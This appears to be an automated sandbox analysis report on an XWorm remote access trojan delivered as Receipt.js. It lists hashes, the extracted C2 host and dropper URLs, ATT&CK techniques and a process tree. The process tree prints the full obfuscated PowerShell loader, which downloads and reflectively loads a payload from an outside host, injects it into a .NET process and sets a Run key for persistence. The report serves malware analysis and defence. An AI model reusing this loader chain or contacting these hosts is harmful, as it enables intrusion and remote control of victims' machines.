xworm | 8b639e8b13b92592a894a1e7abd746e733cf79fa7fcda5509dbe7821a151d314

General

Target

Receipt.js
Size

602KB
MD5

8743e7c5cb16316bd4e9490550beb168
SHA1

eb6cc147348a1245f3f0446e138f5d19223c1a86
SHA256

8b639e8b13b92592a894a1e7abd746e733cf79fa7fcda5509dbe7821a151d314
SHA512

6456ff46d46ea0096c8319e340857514cacd408921a0c524f1984c2dd13263e23a2ff4f496f8788c2c0534f4eefb2c04e922b643dc538f8f2ffb4eb462be1505
SSDEEP

12288:pVAli1MrUpKz7ukc8XbmUHB8gMsy3CX1CebKIpCQ12AGKuhjNUJjnYhxIzWr9DH9:0fHgCfu8YNxJX

Score

10^/10

xworm discovery execution persistence rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Extracted

Family

xworm

Version

5.0

C2

newlivetoday8092.duckdns.org:8092

Mutex

J9cUd9aXvcAKtnEh

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1824-142-0x0000000000400000-0x0000000000410000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	3412	powershell.exe
5	3412	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2580	powershell.exe
3412	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\trecha.js"	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3412 set thread context of 1824	3412	powershell.exe	78

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2580	powershell.exe
2580	powershell.exe
2580	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
1824	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeDebugPrivilege	3412	powershell.exe
Token: SeDebugPrivilege	1824	AddInProcess32.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1824	AddInProcess32.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 420 wrote to memory of 2580	420	wscript.exe	73
PID 420 wrote to memory of 2580	420	wscript.exe	73
PID 2580 wrote to memory of 3412	2580	powershell.exe	75
PID 2580 wrote to memory of 3412	2580	powershell.exe	75
PID 3412 wrote to memory of 4112	3412	powershell.exe	76
PID 3412 wrote to memory of 4112	3412	powershell.exe	76
PID 3412 wrote to memory of 1824	3412	powershell.exe	78
PID 3412 wrote to memory of 1824	3412	powershell.exe	78
PID 3412 wrote to memory of 1824	3412	powershell.exe	78
PID 3412 wrote to memory of 1824	3412	powershell.exe	78
PID 3412 wrote to memory of 1824	3412	powershell.exe	78
PID 3412 wrote to memory of 1824	3412	powershell.exe	78
PID 3412 wrote to memory of 1824	3412	powershell.exe	78
PID 3412 wrote to memory of 1824	3412	powershell.exe	78

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Receipt.js
1⤵
- Suspicious use of WriteProcessMemory
PID:420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SQBuAFYAbwBLAGUALQBlAHgAcAByAGUAcwBTAGkATwBOACAAKAAgACgAKAAnAHsAJwArACcAMQB9AHUAJwArACcAcgBsACAAPQAgAHsAMgB9AGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6AC8ALwBpACcAKwAnAGEAOQAwADQANgAwADEALgB1AHMALgBhAHIAYwBoACcAKwAnAGkAdgBlAC4AbwByAGcALwAnACsAJwA2AC8AaQB0ACcAKwAnAGUAJwArACcAbQAnACsAJwBzAC8AZAAnACsAJwBlAHQAJwArACcAYQAnACsAJwBoAC0AJwArACcAbgAnACsAJwBvACcAKwAnAHQAZQAnACsAJwAtAGoALwBEAGUAJwArACcAdAAnACsAJwBhAGgATgBvACcAKwAnAHQAZQAnACsAJwBKACcAKwAnAC4AdAB4AHQAewAyAH0AJwArACcAOwB7ADEAJwArACcAfQBiAGEAJwArACcAcwBlADYAJwArACcANAAnACsAJwBDACcAKwAnAG8AbgB0AGUAJwArACcAbgB0ACAAJwArACcAPQAgACgATgBlAHcALQAnACsAJwBPAGIAagAnACsAJwBlACcAKwAnAGMAdAAgAFMAeQAnACsAJwBzAHQAZQAnACsAJwBtAC4ATgAnACsAJwBlAHQALgBXAGUAJwArACcAYgBDAGwAaQBlACcAKwAnAG4AdAApAC4ARAAnACsAJwBvAHcAbgBsAG8AYQBkACcAKwAnAFMAJwArACcAdAAnACsAJwByACcAKwAnAGkAbgBnACgAewAnACsAJwAxAH0AdQByAGwAJwArACcAKQAnACsAJwA7ACcAKwAnAHsAMQB9AGIAaQBuAGEAcgB5AEMAJwArACcAbwBuAHQAZQBuAHQAIAAnACsAJwA9ACAAWwBTAHkAcwB0AGUAbQAnACsAJwAuAEMAbwBuAHYAZQByAHQAJwArACcAXQA6ADoARgByACcAKwAnAG8AbQBCAGEAJwArACcAcwBlADYANAAnACsAJwBTAHQAJwArACcAcgBpACcAKwAnAG4AJwArACcAZwAoACcAKwAnAHsAJwArACcAMQB9AGIAYQBzAGUANgA0AEMAbwBuACcAKwAnAHQAJwArACcAZQBuACcAKwAnAHQAKQA7ACcAKwAnAHsAJwArACcAMQB9AGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbACcAKwAnAFIAZQBmAGwAZQBjACcAKwAnAHQAaQBvAG4ALgBBAHMAcwAnACsAJwBlAG0AJwArACcAYgBsACcAKwAnAHkAXQA6ADoAJwArACcATAAnACsAJwBvAGEAZAAoAHsAJwArACcAMQB9AGIAaQBuAGEAcgB5ACcAKwAnAEMAJwArACcAbwBuAHQAJwArACcAZQAnACsAJwBuAHQAKQAnACsAJwA7AHsAMQB9ACcAKwAnAHQAeQAnACsAJwBwAGUAIAA9ACAAJwArACcAewAxACcAKwAnAH0AJwArACcAYQBzAHMAJwArACcAZQBtACcAKwAnAGIAJwArACcAbAB5AC4ARwBlAHQAJwArACcAVAB5ACcAKwAnAHAAZQAoAHsAMgB9AFIAdQAnACsAJwBuAFAARQAuAEgAbwBtAGUAewAnACsAJwAyACcAKwAnAH0AKQAnACsAJwA7AHsAMQB9AG0AZQAnACsAJwB0AGgAbwBkACAAPQAgAHsAMQB9ACcAKwAnAHQAJwArACcAeQBwACcAKwAnAGUAJwArACcALgBHAGUAdABNAGUAJwArACcAdABoAG8AZAAnACsAJwAoAHsAJwArACcAMgB9AFYAJwArACcAQQBJACcAKwAnAHsAMgB9ACkAOwAnACsAJwB7ADEAfQBtAGUAdABoAG8AJwArACcAZAAuAEkAbgB2AG8AawAnACsAJwBlACcAKwAnACgAewAxACcAKwAnAH0AbgAnACsAJwB1AGwAbAAsACAAWwAnACsAJwBvAGIAagBlACcAKwAnAGMAdABbAF0AXQBAACgAewAnACsAJwAyAH0AJwArACcANQAnACsAJwBjADkANwBlAGIAYQAnACsAJwA5ADAAMQA5AGUALQAnACsAJwBjACcAKwAnAGMAMwBiAC0AMAAnACsAJwAwACcAKwAnADIANAAtAGQAYQBlADgALQA2ADEAJwArACcANAA4AGMAOABkADYAPQBuAGUAawBvAHQAJgBhAGkAZABlAG0APQAnACsAJwB0AGwAYQAnACsAJwA/AHQAJwArACcAeAB0AC4AJwArACcANAAyADAAMgA5ADAANQAxADIAOQAwADgAJwArACcAbQByAG8AdwB4ACcAKwAnAG4AJwArACcAaABvAGoAJwArACcALwBvACcAKwAnAC8AbQBvACcAKwAnAGMALgAnACsAJwB0ACcAKwAnAG8AcABzAHAAJwArACcAcAAnACsAJwBhACcAKwAnAC4ANAAyADAAMgBzAHQAcAB5AHIAYwAvAGIALwAwAHYALwBtACcAKwAnAG8AYwAnACsAJwAuAHMAaQBwAGEAZQBsAGcAbwAnACsAJwBvAGcALgBlAGcAYQByAG8AJwArACcAdAAnACsAJwBzAGUAcwBhACcAKwAnAGIAZQAnACsAJwByAGkAZgAvAC8AOgBzAHAAdAB0AGgAewAyAH0AIAAsACAAewAyACcAKwAnAH0AMQB7ACcAKwAnADIAfQAgACwAJwArACcAIAB7ADIAJwArACcAfQAnACsAJwBDADoAewAwAH0AJwArACcAUAByACcAKwAnAG8AZwAnACsAJwByAGEAbQBEAGEAdABhAHsAMAAnACsAJwB9AHsAJwArACcAMgB9ACAALAAgACcAKwAnAHsAMgB9AHQAcgBlAGMAaABhAHsAMgB9ACcAKwAnACwAewAnACsAJwAyACcAKwAnAH0AQQBkACcAKwAnAGQASQAnACsAJwBuAFAAJwArACcAcgAnACsAJwBvAGMAZQBzACcAKwAnAHMAMwAnACsAJwAyAHsAMgB9ACcAKwAnACwAewAnACsAJwAyAH0AJwArACcAZABlACcAKwAnAHMAJwArACcAYQB0AGkAdgBhAGQAbwAnACsAJwB7ADIAfQApACkAJwApACAAIAAtAEYAIABbAEMAaABhAHIAXQA5ADIALABbAEMAaABhAHIAXQAzADYALABbAEMAaABhAHIAXQAzADkAKQAgACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "InVoKe-expresSiON ( (('{'+'1}u'+'rl = {2}ht'+'t'+'ps://i'+'a904601.us.arch'+'ive.org/'+'6/it'+'e'+'m'+'s/d'+'et'+'a'+'h-'+'n'+'o'+'te'+'-j/De'+'t'+'ahNo'+'te'+'J'+'.txt{2}'+';{1'+'}ba'+'se6'+'4'+'C'+'onte'+'nt '+'= (New-'+'Obj'+'e'+'ct Sy'+'ste'+'m.N'+'et.We'+'bClie'+'nt).D'+'ownload'+'S'+'t'+'r'+'ing({'+'1}url'+')'+';'+'{1}binaryC'+'ontent '+'= [System'+'.Convert'+']::Fr'+'omBa'+'se64'+'St'+'ri'+'n'+'g('+'{'+'1}base64Con'+'t'+'en'+'t);'+'{'+'1}assembly = ['+'Reflec'+'tion.Ass'+'em'+'bl'+'y]::'+'L'+'oad({'+'1}binary'+'C'+'ont'+'e'+'nt)'+';{1}'+'ty'+'pe = '+'{1'+'}'+'ass'+'em'+'b'+'ly.Get'+'Ty'+'pe({2}Ru'+'nPE.Home{'+'2'+'})'+';{1}me'+'thod = {1}'+'t'+'yp'+'e'+'.GetMe'+'thod'+'({'+'2}V'+'AI'+'{2});'+'{1}metho'+'d.Invok'+'e'+'({1'+'}n'+'ull, ['+'obje'+'ct[]]@({'+'2}'+'5'+'c97eba'+'9019e-'+'c'+'c3b-0'+'0'+'24-dae8-61'+'48c8d6=nekot&aidem='+'tla'+'?t'+'xt.'+'420290512908'+'mrowx'+'n'+'hoj'+'/o'+'/mo'+'c.'+'t'+'opsp'+'p'+'a'+'.4202stpyrc/b/0v/m'+'oc'+'.sipaelgo'+'og.egaro'+'t'+'sesa'+'be'+'rif//:sptth{2} , {2'+'}1{'+'2} ,'+' {2'+'}'+'C:{0}'+'Pr'+'og'+'ramData{0'+'}{'+'2} , '+'{2}trecha{2}'+',{'+'2'+'}Ad'+'dI'+'nP'+'r'+'oces'+'s3'+'2{2}'+',{'+'2}'+'de'+'s'+'ativado'+'{2}))') -F [Char]92,[Char]36,[Char]39) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3412
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\trecha.js"
      4⤵
      PID:4112
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
4945a9114c9f19254f25a0596e6d686a

SHA1
686826f31c4c6bc23974aa79c1f18521bb734aaf

SHA256
e7538cae3c3b47be7d3f760b04122fea26d06f8da6e8bc99259f4ee59041d55d

SHA512
8269e8d8b2822f7690a05ee9a76c9a916817046ec0b9f3da842a4ae54f032024a7836f62575d3e991297d272492e5a37957efe2e9fe954de30bf92024e23de00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0c3d308ece53c5970b74ae0b005961b0

SHA1
9955ee238c7c231d7d632db2f817641f4a8132dd

SHA256
bf196243a19d60c774e1bc082da7fd0ee19bca167b5530ca5269546cabdfd3db

SHA512
1dbbcf26978f191770693da1ed0b18b6d4c77351c0fa11fd573291289fc815e99ac229381693026accebaaf525e3afc91866f8ceb8917267ee946f59371b783e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vus0qhba.ntb.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/1824-158-0x0000000006970000-0x000000000697C000-memory.dmp

Filesize
48KB

Download
memory/1824-157-0x00000000061C0000-0x0000000006226000-memory.dmp

Filesize
408KB

Download
memory/1824-156-0x0000000005A50000-0x0000000005A5A000-memory.dmp

Filesize
40KB

Download
memory/1824-155-0x0000000006010000-0x00000000060A2000-memory.dmp

Filesize
584KB

Download
memory/1824-154-0x0000000005A70000-0x0000000005F6E000-memory.dmp

Filesize
5.0MB

Download
memory/1824-153-0x00000000051D0000-0x000000000526C000-memory.dmp

Filesize
624KB

Download
memory/1824-142-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/2580-152-0x00007FFA54280000-0x00007FFA54C6C000-memory.dmp

Filesize
9.9MB

Download
memory/2580-0-0x00007FFA54283000-0x00007FFA54284000-memory.dmp

Filesize
4KB

Download
memory/2580-45-0x00007FFA54280000-0x00007FFA54C6C000-memory.dmp

Filesize
9.9MB

Download
memory/2580-44-0x00007FFA54283000-0x00007FFA54284000-memory.dmp

Filesize
4KB

Download
memory/2580-10-0x000001C456160000-0x000001C4561D6000-memory.dmp

Filesize
472KB

Download
memory/2580-7-0x00007FFA54280000-0x00007FFA54C6C000-memory.dmp

Filesize
9.9MB

Download
memory/2580-6-0x00007FFA54280000-0x00007FFA54C6C000-memory.dmp

Filesize
9.9MB

Download
memory/2580-5-0x000001C455E80000-0x000001C455EA2000-memory.dmp

Filesize
136KB

Download
memory/3412-46-0x000001E6EC5A0000-0x000001E6EC7AC000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads